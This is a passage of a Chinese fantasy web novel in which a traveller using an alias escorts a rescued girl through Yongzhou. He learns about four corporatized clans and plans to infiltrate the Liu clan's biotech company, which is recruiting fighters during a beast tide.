这些异兽的行动更隐蔽,也更具破坏性,而且它们的身上,没有自然教会的图腾与咒术气息,反而藏着一种陌生的能量波动——那能量冰冷而凝滞,像是深潭里的死水,与自然教会崇尚的“自然”截然不同,显然有另一股未知的势力在暗中操纵。 张玉汝轻轻摩挲着下巴,眼底掠过一丝深思。 自然教会的目标很明确,就是攻城拔寨,破坏先导会的辖区,用异兽的侵袭拖垮对方的防御体系,增加先导会的统治压力,让先导会无法腾出手来处理其他地区的压力。 可另一股势力操控的异兽,却在悄悄侵蚀人类的生存根基——它们不追求快速的破坏,反而像温水煮青蛙,慢慢压缩人类的活动范围,让流民失去聚居地,让城池失去外围补给,最终不战自溃。 两者的目的截然不同,背后是否藏着更深的关联?是不同势力在秦岭的博弈,还是有更大的阴谋在暗中酝酿? 这些疑问像雪球一样在他心里越滚越大,每一个线索都指向更深的迷雾,值得他细细探究。 但眼下,这些关于势力纷争的思考,都不是最要紧的事。 张玉汝收回飘远的思绪,目光重新落回身旁的少女身上。 她正低头踢着脚边的积雪,靴尖蹭过冰晶,发出细碎的“咯吱”声,长长的睫毛垂着,像两把小扇子,遮住了眼底的情绪,只有攥着短刀的手,还在无意识地收紧,指节泛出淡淡的白。 显然,她对未来充满了不安,既担心回不去的流民聚集地,又害怕独自面对这危机四伏的山林。 他沉默片刻,将心底的疑虑暂时压下,放轻了语气,像是怕惊扰了雪地里的寂静,试探着开口道:“如果你暂时没有地方去,我来帮你找一个安全的地方怎么样?” 这话一说出口,张玉汝自己都觉得有些突兀。 他向来独来独往,追查线索时更是不愿牵扯旁人,怕麻烦,也怕给身边人带来危险。 可看着少女那双藏着孤单与警惕的眼睛,想起她明明自身难保,却还是为了救流民引开骨狼的勇气,那句邀约便不受控制地说了出来——他实在没法看着这样一个小姑娘,在这冰天雪地里独自挣扎。 张玉汝话音落下时,自己都做好了被拒绝的准备——经历过战乱的人大多带着戒心,尤其是像这样独自熬过苦难的孩子,对陌生人的善意总会多几分防备。 他甚至已经想好了后续的说辞,比如可以先送她到前方的驿站,或是告知她安全的聚居点位置,可没等这些话组织好,便见对方抬起了头。 她的睫毛上还沾着细小的雪粒,像是落了层碎霜,可眼底的犹豫已经散去,取而代之的是一种带着决断的清明。 没等张玉汝再开口,她便轻轻点了点头,声音虽轻,却很坚定:“好,我跟你走。” 这干脆的回应让张玉汝微微一怔,他原本以为要多费些口舌,却没想到少女答应得如此爽快。 他下意识追问了一句:“你……不问问我要带你去什么地方吗?” 毕竟他只是个萍水相逢的陌生人,连真实姓名都未曾透露,换做旁人,总会多几分疑虑。 少女听到这话,反而轻轻笑了笑。那笑容很淡,却像雪后初晴的光。 “不管是什么地方,总比在山里迷路,或是回那个快断粮的聚集地好。” 她顿了顿,抬手摸了摸腰间的短刀,眼神里多了几分认真。 “而且……你要是想害我,刚才也不必救我,更不必治好我的伤。” 这份信任,让张玉汝心头微微一动,他喉结动了动,原本准备好的解释突然变得多余。 “那好。”张玉汝收起眼底的惊讶,重新露出温和的笑容,他抬手指了指前方被雪覆盖的山道。 “往前再走半个时辰,有一处废弃的猎户木屋,虽小却能避寒,我们先去那里休整一晚,明日再做打算。” 少女顺着他指的方向望去,只见山道尽头隐在雾色里,只能看到零星的树影。 她没有再多问,只是轻轻应了一声“好”,然后握紧短刀,默默跟在了张玉汝身后。 两人一前一后走在雪地里,脚步声踩在积雪上,发出“咯吱咯吱”的轻响。 寒风依旧在林间呼啸,却似乎不再像之前那样刺骨。 张玉汝走在前面,刻意放慢了脚步,配合着小雪的速度,偶尔还会顺手拨开挡路的枯枝,或是提醒她“这里有冰,慢点走”。 少女跟在后面,目光落在张玉汝墨色衣袍的下摆上——那衣袍在雪地里格外显眼,却也像一道屏障,让她莫名觉得安心。 走了约莫一刻钟,少女忽然想起什么,脚步微微一顿,轻轻开口问道:“对了……一直没问你怎么称呼?总在心里叫你‘先生’,好像不太合适。”她问得有些小心翼翼,怕冒犯了对方,指尖不自觉攥紧了衣角。 张玉汝闻言,脚步顿了顿,回头看向她,眼底带着一丝自然的笑意,没有半分迟疑——对外用化名的事,他早已习惯,此刻说出口时流畅自然:“你叫我姜离就好。” 他没有多做解释,只报出化名,然后反问,“那你呢?我该怎么称呼你?” “我叫小雪。” 少女轻声回答,声音比刚才更软了些,指尖微微蜷缩。 “小雪。”张玉汝轻声重复了一遍这个名字,像是在细细品味,眼底的温和又深了几分。 “很好听的名字,干净又坚韧。” 小雪听到这话,脸颊微微发烫,连忙低下头,加快了脚步,跟上了张玉汝的身影。 雪地里的两道脚印,一深一浅,渐渐向着雾色深处延伸。 第 7章 势力 时光总像清晨沾在指尖的露水,在晨露凝结又消散、暮霞铺展再隐去的晨昏交替里,顺着指缝缓缓流淌 —— 你盯着它时,能看见颗粒在阳光下泛着微光,可稍一恍惚,便已从掌心溜走,只留下掌心残留的些许凉意。 人在这样漫长的岁月里,每一次俯身拾起的落叶、每一回与陌生人的擦肩对话、每一场深夜里为难题辗转的思索,都像山涧里的涓涓细流:有时是清浅的溪,带着白日的暖意;有时是微凉的泉,裹着深夜的沉静。 它们慢慢汇聚,顺着人生的河床蜿蜒,最终沉淀在心底,成了独属于自己的经验 —— 像老茶罐里逐年叠加的茶饼,带着时光赋予的厚重,也藏着每一段过往的温度。 这些积累下来的经验,更像暗夜里前行路上的一盏豆油灯:灯芯虽弱,却能在迷雾漫过前路时,轻轻拨开雾霭,映出脚下隐约的石板;能在寒风卷着碎石袭来时,拢起一圈温暖,让人有勇气继续迈步。 它或许藏在面对熟悉难题时的从容里 —— 比如再遇到雨季漏雨,不用再慌慌张张找瓦片,只需按记忆里的步骤加固房梁;或许显在处理复杂事务时的条理中 —— 比如整理府中账目,不用再对着单据发愁,只需按以往的分类方式梳理,很快就能理清收支。这些细碎的帮助,总在不经意间出现,像春日里突然飘来的花香,让人在忙碌中多了几分安心。 可凡事向来有两面性,就像月亮总有阴晴圆缺。 当这些固有的经验一次次在实践中得到印证 —— 比如按老方法种庄稼,年年都能有不错的收成;比如用熟悉的话术与人交涉,次次都能达成目的 —— 当凭借这些经验,总能轻松跨过眼前的沟坎,不用再费力气琢磨新的办法时,一种不易察觉的 “惰性” 便会像青苔般,悄悄在心底的角落滋生。 这种懒惰,从来不是行为上的懈怠:不是日出时不愿起身去田间劳作,不是傍晚时懒得动手收拾庭院,而是思想层面的停滞 —— 像生锈的齿轮,再也转不出新的角度。 是看到新鲜事物时,第一反应不是好奇,而是本能地后退:比如见人用新的工具织布,便觉得 “老机子织得才结实”,连尝试了解的心思都没有;是遇到问题时,不愿再花时间去 “具体问题具体分析”,只想着 “以前就是这么办的”,敷衍地套用过往的经验,哪怕眼前的情况早已不同。 就像习惯了走门前那条平坦大道的人:大道两旁栽着整齐的杨树,路面铺着平整的青石板,闭着眼都能数清走到巷口需要多少步。 这般走得久了,再看见不远处那条蜿蜒曲折的小路 —— 路边长着不知名的野花,路面偶有凸起的石子,便没了半分探索的兴致,只觉得 “走起来麻烦”,却忘了小路尽头或许藏着更美的溪涧。 又像习惯了用固定公式解题的学子:课本上的公式背得滚瓜烂熟,遇到类似的题目,提笔就能写出步骤。可一旦碰到新的题型,公式套不进去,便不愿再花心思去推导新的解法,只坐在那里发呆,抱怨 “题目出得古怪”。 这般长久下去,思维就像被无形的枷锁牢牢束缚:锁链看不见摸不着,却偏偏让你迈不开新的步子。 很容易让人陷入一种 “想当然” 的误区 —— 总觉得自己经历过的、熟悉的,就是世间所有事情的模样。 就像坐在井底的青蛙,看见头顶那片圆月亮,便以为天下的月亮都只有这么大。 却忘了世界的广阔与多样:忘了南方的水乡多河,水上交通发达;忘了北方的荒漠干燥多风。 忘了不同的地域、不同的环境,往往会孕育出截然不同的生活方式与处事准则 —— 有的地方待客以酒,有的地方待客以茶;有的地方办事讲速度,有的地方办事讲规矩。 张玉汝就曾真切地栽过这样的跟头,而且栽得不算轻。 他在豫州怀庆府已经生活了十几个年头 —— 从总爱追着蝴蝶跑的懵懂孩童,长成了遇事能沉住气的沉稳青年。 在他眼中,怀庆府的生活模式是那样自然,那样普遍 —— 就像太阳总会从东边升起,西边落下一样。 以至于他下意识地认为,整个神州国的所有地区、所有聚居地,都应该和怀庆府相差无几。 就算有差别,也绝不会超出豫州的范畴。 正是带着这样的 “想当然”,当他背着行囊,离开熟悉的怀庆府,踏上前往其他地域的旅程时,麻烦便像赶集似的,接踵而至。 无论是复兴会控制的地盘,还是那些没被统一管理的混乱之地,每个地方都有自己独特的文化习俗,跟怀庆府截然不同。 张玉汝还记得,在初到混乱之地的时候,他因为不懂当地那套弯弯绕的规矩,直接拍了一个路人的肩膀问路,结果被对方当成了找茬的对头,差点动起手来。 这些因经验错位闹出的矛盾,让他第一次意识到,自己以前的认知有多狭隘。 即便同样在神州国内部,每一个聚居地也都有自己的特点。 就说他熟悉的怀庆府:因为建府的时间不算长,不过十几年光景,没有太多老世家、老势力的积累 —— 不像有些古城,随便一个家族都能追溯到几百上千年前。 也正因为如此,怀庆府没有太多旧有的传统势力掣肘:无论是先导会,还是天人,在怀庆府的力量都很微弱,几乎掀不起什么波澜。 怀庆府的主要管理人员,大多是从曹谅所控制的豫州政府派来的。 可这样的模式,在神州国的其他地方,却是相当罕见的。 在某些传统力量过于强大的地区,甚至还存在着事实上的奴隶制 —— 虽然名义上,那些在田间劳作、在府中服役的人,都被称为 “自由人”,官方的文书上也写着他们 “有迁徙、择业之权”。 可实际上,他们的生产生活,还有各项本该属于自己的权力,都被一些 “合法” 的手段悄悄转移给了其他人。 有的是通过 “祖上传下的契约”,让他们世代依附于某个世家,种出来的粮食要交九成给世家;有的是通过 “借贷”,让他们因为一笔永远还不清的债,只能留在世家的庄园里干活。 而目前正受到兽潮影响的雍州,就是这样的情况。 这种事实上的奴隶制,在雍州众多独特的特点当中,只能算其中之一,甚至算不上最为主要的特点。 雍州多山地,气候干燥,异兽常常藏在深山的峡谷里,一到兽潮爆发,就会顺着山谷冲进村庄;而且雍州的世家势力盘根错节,有的世家甚至比当地政府还有话语权。 想要在这样的地方对抗异兽 —— 比如知道哪些山谷是异兽的必经之路,哪些地方有可以躲避的山洞;想要调查天人的踪迹 —— 比如知道天人常和哪些世家来往,在哪里秘密集会,就必须有一个对当地情况足够熟悉的人来引导,不然就像盲人摸象,不仅找不到方向,还可能掉进世家或天人设下的陷阱。 好在张玉汝还算幸运。 之前在雍州的山林里,他从异兽的口中救下的那个名叫小雪的姑娘对于这些情况还多少有些了解。 根据她在雍州生活的经验,雍州虽然有各式各样的千年世家百年世家,但是最近这些年当中,最为强势的世家一共有赵、魏、秦、柳四家。 这片土地上,四个世家像四棵盘根错节的老槐,根系扎进雍州的每一寸肌理,既撑起了对抗异兽的半壁江山,也藏着彼此撕扯的暗劲。 雍州的天际线早已不是当年的青灰山峦 —— 东边清河镇的智能温室连绵数十里,玻璃穹顶在阳光下泛着冷光。 中部黑石关的军工基地里,机械臂正将玄铁铠甲组装成列;西部黑石山的矿场上方,悬浮式采矿平台像钢铁巨鸟盘旋;南部云溪镇的生物医药园区,透明管道里流淌着荧光色的药液。 四个世家不再是传统意义上的宗族势力,而是掌控着雍州经济命脉的现代化集团,家族徽章烙印在每一栋摩天大楼的顶端,也刻在每一台智能设备的芯片里。 赵家的总部大厦矗立在清河镇中央,高达五百层的玻璃幕墙外,巨大的全息投影循环播放着 “智慧农业系统” 的宣传片。 无人机群在万亩稻田上空喷洒营养液,智能温控温室里的蔬菜在灯光下疯长,地下粮仓的机械臂正将小麦自动打包成吨袋。 如今的赵家,早已不是靠黄河吃饭的传统世家,而是覆盖 “种植 - 加工 - 物流 - 销售” 全链条的农业巨头:旗下 “雍州粮网” APP 连接着全州两千多个销售点。 用户下单后,智能冷链车能在四小时内将新鲜果蔬送抵家门口。 家族现任掌舵人赵承业,办公室里没有传统的算盘,只有一面巨大的全息监控屏,实时显示着各基地的温湿度、产量数据和物流路线。 他喜欢穿着定制的智能西装,袖口绣着赵家的麦穗徽章,西装内衬的传感器能实时监测心率 —— 即便如此,他依旧保持着世家子弟的谨慎:集团核心岗位全由赵氏宗亲担任,智能系统的最高权限只掌握在他和长子赵宇手中。 兽潮来临时,赵家的现代化防线堪称铜墙铁壁:智能温室外围筑起二十米高的合金护栏,护栏上的红外传感器能精准识别异兽踪迹,一旦触发警报,高压电网会瞬间启动。 地下粮仓的防爆门能抵御兽王级异兽的撞击,内部的氧气循环系统可让粮食保存十年以上。 但他们的软肋也藏在 “现代化” 里 —— 去年兽潮中,一群带电的牦牛破坏了清河镇的供电系统,导致智能温室的温控设备停摆,三天内损失了百万斤蔬菜。 魏家的黑石关如今已不是传统的雄关,而是一座占地千亩的军工城 —— 城内的智能工厂里,机械臂每分钟能组装三件玄铁铠甲。 靶场上,无人战斗机器人正对着模拟异兽的靶标开火;研发中心的实验室里,科学家们正调试着最新的 “声波驱兽仪”。 魏家的核心业务早已从 “护院” 升级为 “军工制造”,旗下 “魏氏防务” 不仅为雍州提供武器装备,还承接全国范围内的异兽防御工程,去年为南方水灾地区建造的 “防兽堤坝”,订单金额就突破了百亿。 家主魏烈的办公室里,挂着一幅巨大的雍州防御地图,上面用红点标注着异兽出没的热点区域,用蓝线连接着各个防御基站。 他一身深灰色的战术服,腰间别着一把智能手枪 —— 枪身刻着魏家的狼头徽章,内置的弹道计算系统能精准命中三千米外的目标。 魏家的 “黑石卫” 也升级为现代化部队:士兵们穿着外骨骼装甲,配备着电磁步枪,头盔里的全息显示屏能实时接收战场数据,甚至能通过神经连接,操控无人侦察机。 魏家与其他世家的关系,更像是 “战略盟友”:从秦家采购矿石,用来制造武器;从赵家采购粮食,供应给军工城的员工;从柳家采购药材,研发能增强士兵体质的 “基因药剂”。 但他们也保持着警惕 —— 魏烈在军工城周围建了四座雷达站,不仅监测异兽,也监测其他世家的动向。 秦家如今已看不到传统的矿洞,取而代之的是一座座悬浮式采矿平台 —— 平台下方的机械臂深入地下千米,能精准开采铁矿和黑石髓;平台上方的分拣系统,能将矿石按纯度自动分类;旁边的冶炼厂,通过智能温控技术,将铁矿直接炼造成特种钢材,省去了中间运输环节。 秦家的 “秦氏矿业”,如今是全国最大的特种钢材供应商,旗下的 “黑石髓提取技术” 全球领先,提取出的黑石髓精华,不仅能入药,还能用于制造高端芯片。 随着产业升级,秦家的 “工奴” 也升级为 “产业工人”,虽然依旧需要在矿场工作,但他们能享受五险一金,住的是带空调的集体宿舍,食堂里的智能点餐系统能根据个人口味推荐菜品。 不过,秦家依旧保留着 “家族世袭” 的传统:矿场的管理层全是秦氏宗亲,核心技术岗位也只传给秦家子弟,防止技术外泄。 兽潮对秦家的威胁,集中在 “采矿设备” 上。 黑石山的矿场深入地下,异兽很容易顺着矿道闯入,破坏机械臂和冶炼设备。 三个月之前,一群 “钻地鼠” 咬断了采矿平台的输能管道,导致整个矿场停工一周,损失了近千万。 为了应对这种情况,秦山在矿道里安装了 “震动传感器”,一旦检测到异兽的震动频率,就会自动启动闸门,将矿道封锁;还在采矿平台周围部署了 “声波驱兽仪”,能发出让异兽烦躁的声波,阻止它们靠近。 同时,秦家与魏家合作,将部分矿场改造成 “武器试验场”,用采矿设备测试新研发的武器,既降低了成本,又能提高矿场的防御能力。 这三家的实力和势力都相当强大,可以说大部分生活在雍州的民众的生活都和他们脱不开关系。 而且无论是哪一家,背后都和天人之间有着说不清道不明的关系。 不过张玉汝的目标并不在他们的身上,他的目标是柳家。 第 8章 柳家 其他三家各自有着独特之处,不过对于张玉汝来说,倒也算不上太过新奇,真正让他感兴趣的是柳家。 在雍州东南部的平原与山岭交界处,云溪镇的生物医药园区无疑是这片土地上最耀眼的科技地标。 远远望去,园区内数十栋流线型玻璃建筑错落排布,宛如镶嵌在绿色植被中的透明宝石;建筑之间蜿蜒的透明管道里,淡蓝、浅紫的荧光色药液随精密泵体流动,在阳光下折射出细碎的光晕。 走进核心实验室,穿着通体雪白无菌服的科学家们正俯身于光学显微镜前,指尖在操作台上的全息面板轻划,屏幕上不断跳动着异兽基因的双螺旋图谱 —— 这里不仅是柳家 “柳氏生物” 的产业核心,更是整个雍州生物医药领域的技术高地。 作为如今全国顶尖的生物医药企业,柳氏生物的核心业务早已形成两大支柱,每一项都与 “异兽” 这一特殊存在紧密相连。 第一大支柱是 “兽伤治疗” 领域:他们自主研发的 “速愈止血凝胶”,采用异兽皮肤提取物与合成高分子材料复配,只需在异兽造成的撕裂伤或穿刺伤上薄薄涂抹一层,十秒内便能形成透气保护膜,同时激活人体血小板的快速凝血机制。 而另一款 “广谱抗毒血清”,更是通过解析上百种异兽的毒液成分,研发出能精准中和毒素的抗体,从草原毒蜥的神经毒素到深海巨章的溶血毒素,皆能有效化解,挽救了无数在异兽袭扰中受伤的生命。 第二大支柱则聚焦于更具突破性的 “基因研究”:科研团队通过低温萃取异兽的活性基因片段,结合人类基因组图谱进行精准编辑,研发出多款 “增强型基因药剂”。 有的能提升人类的肌肉爆发力与耐力,让普通人拥有媲美低级异兽的体能;有的则能复刻异兽的特殊能力,比如将沙漠跳鼠的 “极速反应” 基因融入药剂,使用者的神经反射速度可提升三倍。 这些突破性成果,让柳氏生物在短短十年内跻身全国行业前列,也让柳家稳稳占据雍州 “四大家族” 的一席之地。 为了进一步扩大自身的势力,柳家构建了覆盖全国的销售与服务网络。 其中,“柳氏健康” APP 更是成为连接企业与用户的关键纽带:用户只需上传自身健康数据与需求,就能在线预约柳氏专属医师的问诊服务,获取个性化的兽伤防护建议;若有基因增强需求,还可通过 APP 提交身体检测报告,由实验室定制专属的基因药剂,再通过恒温冷链物流直达手中。 不仅如此,柳家还深谙 “产学研一体化” 的发展之道,与雍州另外三大家族达成深度合作。 他们与赵家的智能农业集团联手,将异兽抗逆基因导入农作物,在赵家的智能温室中培育出耐旱、抗虫的高产作物;与掌控防务资源的魏家合作,将改良后的体能增强药剂批量供应给武装部队,大幅提升士兵在异兽防御战中的作战能力。 与主营矿业的的秦家合作,提取珍稀矿物石髓中的活性精华,研发出能延缓细胞衰老的高端保健品 —— 这一系列合作,让柳家的产业链从研发延伸到农业、军事、养生等多个领域,形成了环环相扣的商业生态。 作为柳家现任家主,柳玉容的办公室就设在园区最高的研发大楼顶层。 办公室西侧靠墙的位置,立着一排高约两米的智能实验柜,柜体采用防辐射合金材质,柜内的恒温恒湿环境中,整齐摆放着各类珍稀药材与异兽组织样本。 有生长在雪山之巅的 “冰魄草”,叶片上凝结着永不融化的冰晶;有深海 “电鳐兽” 的神经组织切片,在特制营养液中仍能发出微弱电流;还有来自火山深处的 “火鳞花” 花瓣,即便脱离母体仍保持着炽热的橙红色 —— 每一份样本都经过严格的安保措施管控,价值动辄数百万,堪称柳家的 “财富密码”。 平日里,柳玉容总喜欢在处理完公务后,站在实验柜前静静观察这些样本,指尖轻触柜体的透明玻璃,仿佛能从这些奇特的生命物质中汲取研发灵感。 但此刻,柳玉容显然没有这份闲情逸致。 她身着挺括的白色科研服,胸前别着一枚镌刻着柳家标志 —— 绽放莲花的银色徽章,徽章边缘还镶嵌着细小的蓝色宝石;左手手腕上的智能手环不断闪烁着淡绿色光芒,屏幕上实时跳动着实验室的温度、湿度、气压等环境数据,以及园区各区域的安保状态。 她站在办公室的落地窗前,目光凝重地望向窗外的园区,眉头紧紧蹙起,指尖无意识地摩挲着手环的边缘 —— 一场突如其来的危机,正让整个柳家乃至云溪镇陷入困境。 柳氏生物的实验室中,存放着数千份异兽基因样本与毒素制剂,其中不乏具有高致病性的变异毒株。 一旦周边山林中的兽潮突破云溪镇的防御防线,这些危险样本极有可能泄露,不仅会导致实验室多年的研发成果毁于一旦,更可能引发大规模的生物污染,对云溪镇乃至整个雍州的生态与居民安全造成毁灭性打击。 让柳玉容心有余悸的是,一个月前的那场意外:三只不知如何突破外围防线的 “毒雾蜥” 闯入了园区的次级实验室。 它们在被安保人员击毙前,释放出的淡绿色毒雾迅速弥漫了整个实验室,导致柜内价值数千万的异兽基因样本与半成品药剂被污染,最终不得不全部销毁。 那次损失已经让柳家的研发进度停滞了半个月,而如今,兽潮的规模正越来越大,每天都有更多的异兽出现在云溪镇周边的山林中,防御压力与日俱增。 事实上,柳家并非没有自己的防御力量 —— 家族培养了一支百余人的能力者卫队,成员大多拥有操控元素或强化体能的能力,足以应对日常的安保需求。 但在长期的和平时期,为了尽可能节省人力与资金开支,柳家将云溪镇外围区域的防御任务外包给了魏家的安保集团。 魏家掌控着雍州最庞大的私人武装力量,旗下安保人员不仅装备精良,还配备了专门应对异兽的重型武器。 这种 “核心区域自主防御 + 外围区域外包” 的模式,在此前的十年里一直平稳运行,柳家与魏家通过定期结算安保费用,维持着愉快的合作关系。 然而,当兽潮真正来临时,这份合作却戛然而止。 一个月前,魏家突然以 “自身防御力量不足,需优先保障魏家产业安全” 为由,召回了驻守在云溪镇外围的所有安保部队。 这一举措让柳家的防御体系瞬间出现巨大漏洞 —— 家族的百余人卫队虽然战斗力不弱,足以守卫实验室核心区域,但要覆盖整个云溪镇的外围防线,却显得捉襟见肘。 最近两周,云溪镇外围的农田与居民区已多次遭到异兽袭扰,柳家不仅要赔偿居民的财产损失,还要派出卫队支援,导致卫队成员疲惫不堪,损失也在逐步增加。 为此,柳玉容已连续三天与魏家的负责人进行谈判,但每次都毫无进展。 就在刚才,她再次拨通了魏家安保集团总经理的电话,听筒里传来的却依旧是贪婪的要挟。 “你们这群强盗,想要趁火打劫还早了点!” 柳玉容猛地攥紧手机,指节因用力而泛白,愤怒的声音在空旷的办公室里回荡,随后 “啪” 地一声挂断了电话,将手机重重放在办公桌上。 “家主,魏家那边怎么说?” 一直等候在办公室外的柳晓强快步走进来,他是柳家卫队的队长,身着黑色作战服,脸上还带着刚从防御前线回来的疲惫,但眼神中满是关切。 柳玉容转过身,脸上的愤怒尚未褪去,语气中带着压抑的怒火:“魏家的人狮子大开口,说要让他们重新派安保部队过来,就必须让他们共享实验室的核心研发成果 —— 包括兽伤治疗药剂的配方和基因增强技术的专利。” “这绝对不能接受!” 柳晓强的脸色瞬间涨红,拳头重重砸在旁边的会议桌上,“实验室是咱们柳家的根基,一旦把核心成果共享给魏家,他们凭借强大的生产能力,不出半年就能抢占咱们的市场,到时候柳家恐怕就要从四大家族里除名了!” 办公室内的气氛瞬间变得沉重,就在这时,负责家族后勤与财务的柳玉清也走了进来,她扶了扶鼻梁上的眼镜,语气带着担忧:“可现在的问题是,云溪镇的防御怎么办?外围防线已经出现了三处缺口,昨天又有两名卫队成员在对抗异兽时受了重伤,如果再没有支援,恐怕用不了几天,兽潮就会逼近实验室。” 这句话像一块巨石,压在每个人的心头。柳玉容沉默着走到会议桌前,手指轻轻敲击着桌面,目光扫过桌上的云溪镇防御地图,脑海中飞速思考着应对方案。 片刻后,她深吸一口气,眼神变得坚定起来:“现在只能走一步险棋了 —— 对外发布招聘公告,面向全国的散人能力者,许以重利。” 她顿了顿,补充道:“月薪翻倍,提供免费的兽伤治疗药剂和基础基因增强药剂,若能在防御战中立下大功,还能获得实验室的专属定制药剂。” 柳晓强和柳玉清对视一眼,都明白这是无奈之举 —— 零散能力者大多没有经过系统训练,战斗力参差不齐,甚至有些还存在品行问题,未必能起到太大作用。 但柳玉容的语气中带着不容置疑的决心:“现在咱们没有别的选择,只能死马当活马医。先把人招进来填补防御缺口,后续再想办法与魏家周旋。” 窗外的阳光渐渐西斜,将柳玉容的身影拉得很长。 她望着远处渐渐被暮色笼罩的园区,心中清楚,这场围绕云溪镇的危机,才刚刚开始。 ———————————————————————————————————— 张玉汝牵着小雪的手,刚踏上清溪聚居地入口处的青石板路,鼻尖便先萦绕起一股混合着煤烟与饭菜的烟火气。 聚居地里的房屋多是用深灰色砖石砌成,檐角虽算不上精致,却挨挨挤挤地排列得格外规整,窗台上偶尔探出几株翠绿的盆栽,为这片略显朴素的天地添了几分生气。 他正想低头跟小雪说说这里的景象,天空中却突然传来一阵清晰的电子音,打断了他的思绪。 那声音并非来自某个固定的方向,而是由三架悬浮在聚居地上空的银色无人机扩散开来——机身侧面印着一朵栩栩如生的莲花,正是柳氏生物的标志。 无人机在百米高空呈三角形巡航,扩音设备里循环播放着同一段招聘广告,电子合成的音色带着不容置疑的穿透力,一遍又一遍地撞进耳朵。 “想要改变自己的命运吗?想要摆脱底层挣扎的困境吗?想要成为人人敬畏的人上人吗?只要加入柳氏集团,你的一切愿望都将达成!柳氏集团现面向全国诚聘核心防御人员,初级五段以上能力者均可报名,月薪保底五万,额外配备免费兽伤治疗药剂与基础基因强化液,入职满一年更有机会获得定制化能力提升方案!待遇从优,福利丰厚,名额有限,先到先得!” 站在张玉汝身侧的小雪被这突如其来的声响吓到了,原本就紧紧攥着张玉汝衣角的手又用力了几分,小脑袋下意识地往他胳膊旁边靠了靠,乌黑的眼睛里还带着一丝未散的慌张。 张玉汝立刻停下脚步,腾出一只手轻轻拍了拍小雪的头顶,掌心的温度透过柔软的发丝传递过去,语气放得格外温和:“别怕,就是招人的广告。” 安抚完小雪,他才抬起头,目光落在空中那架印着莲花标的无人机上,眉头微微挑起,眼神里多了几分探究。 说起来,这广告词确实没什么新意。“改变命运”“成为人上人”这类说辞,他过去在途经的十几个聚居地中听了无数遍——有的是安保公司招人,有的是矿场招矿工,甚至连小作坊招学徒,都喜欢用这套话术包装。 听得多了,难免让人觉得俗套又空洞,毕竟在这异兽环伺的世道里,“命运”从来都不是一句口号就能轻易改变的。 可此刻,从柳氏集团无人机里传出来的这些滥俗话语,却让张玉汝的心里泛起了不一样的波澜。 他指尖无意识地摩挲着掌心,目光从无人机上收回,低头看了看身边还紧紧贴着自己的小雪——小姑娘的情绪已经平复了些,正好奇地仰着头看空中的无人机,小嘴巴微微抿着。 张玉汝又抬手摸了摸自己的下巴,指尖蹭过几天没刮而冒出的淡青色胡茬,那胡茬有些扎手,却让他的思路愈发清晰,嘴角不自觉地勾起一抹浅淡的笑意。 其实在带着小雪穿越秦岭的这半个月里,他早就没闲着。 一路上,他从小雪口中,还有那些被他从异兽爪下救下的流民那里,断断续续地拼凑出了雍州四大家族的大致情况——赵家掌控着农业与粮食供应链,魏家握着武装力量与安保业务,秦家垄断了采矿业,而柳家,则凭借柳氏生物在生物医药与基因研究领域的绝对优势,稳稳占据着四大家族的一席之地。 当时听完这些信息,张玉汝便暗自琢磨:柳家的业务范围,恰好是他最感兴趣的领域——无论是异兽基因研究,还是兽伤治疗药剂的研发,都与他此行的目的有着隐秘的关联,同时柳家也是他认为最容易切入雍州本地事务的突破口。 这些天他还在盘算,该用什么身份混进柳家,是以能力者的身份应聘底层安保?还是用别的什么办法。 可他万万没想到,自己刚到距离云溪镇最近的清溪聚居地,就看到了柳家的招聘消息,而且还是这样大规模、高待遇的招聘——初级五段以上能力者就能入职,还配备基因强化液,这样的条件,怎么看都像是在招聘敢死队。 空中的无人机还在循环播放着广告,电子音在聚居地的上空盘旋。 张玉汝低头看了看小雪,又抬眼望向云溪镇的方向——那里隐约能看到生物医药园区玻璃建筑的轮廓。 第 9章 转变 跟着张玉汝踏上云溪镇的土地时,小雪的眼睛瞬间亮了起来,原本还带着几分拘谨的脚步也不自觉放慢,小脑袋像拨浪鼓似的左右张望,连手指都忍不住轻轻攥住了张玉汝的衣角——眼前的景象,远远超出了她过往对“小镇”的所有想象。 在此之前,小雪只在流民聚居地的篝火旁,听那些曾去过雍州核心区域的人提起过柳家:说他们的生物医药技术如何厉害,能让伤口快速愈合,还能让普通人拥有媲美异兽的能力。 那时候的她,脑海里勾勒出的柳家根据地,总带着几分冰冷的科技感——或许是满街的金属建筑,或许是随处可见的机械装置,就像她曾在废弃工厂里见过的那些冰冷器械一样。 可真当她站在云溪镇入口,看到的却是一幅完全不同的画面。 云溪镇没有高耸的金属塔楼,取而代之的是错落分布在绿植间的低矮建筑——屋顶覆盖着浅灰色的生态瓦,墙面爬满了翠绿的藤蔓,藤蔓间还点缀着细碎的白色小花,风一吹便轻轻摇曳,连带着建筑都仿佛有了生机。 沿着主路往前走,路面是温润的青石板,石板缝隙里冒出几株顽强的青草;路的两侧没有冰冷的围栏,而是用修剪整齐的灌木围成天然屏障,灌木后面偶尔能看到蜿蜒的溪流,溪水清澈见底,甚至能看到几尾小鱼在水里轻快地游动。 最让小雪惊讶的是,这里的天空似乎都比别处更蓝,空气中没有聚居地常见的煤烟味,反而带着淡淡的草木清香,深吸一口,连胸腔都觉得清爽。 她忍不住停下脚步,仰起头看着头顶的树冠——那些树木的枝干粗壮挺拔,叶片翠绿得发亮,阳光透过叶片的缝隙洒下来,在地面投下斑驳的光影。 偶尔有几只色彩斑斓的小鸟从枝头掠过,叽叽喳喳地叫着,声音清脆悦耳。 “这……这里真的是柳家的地方吗?”小雪下意识地拉了拉张玉汝的袖子,声音里满是难以置信。 在她的认知里,掌握着顶尖生物医药技术的家族,本该生活在充满科技感的环境里,可云溪镇却像一片被精心呵护的原始林地,温柔又静谧,甚至让人忘了这是一个被异兽环绕的世界。 张玉汝看着小雪满脸震撼的模样,嘴角忍不住弯了弯,抬手指了指不远处一栋建筑的墙面:“你看那里。” 小雪顺着他指的方向望去,才发现那爬满藤蔓的墙面上,嵌着一块透明的全息屏,屏幕上正循环播放着柳氏生物的研发动态——画面里,穿着无菌服的科研人员正在操作精密仪器,透明管道里流动着荧光色的药液,与眼前的自然景象形成奇妙的对比。 张玉汝站在原地,目光始终落在小雪身上,看着她踮着脚尖打量路边的藤蔓,又蹲下身好奇地盯着石板缝里的青草,连听到枝头鸟鸣时都会下意识抬头张望,那双原本总是带着疲惫的眼睛里,此刻盛满了鲜活的好奇与惊叹。 看到这副模样,他的心终于悄悄放下,他最担心的,就是小雪无法适应新的环境。 而现在看来,至少云溪镇的景象,没有让她产生抵触。 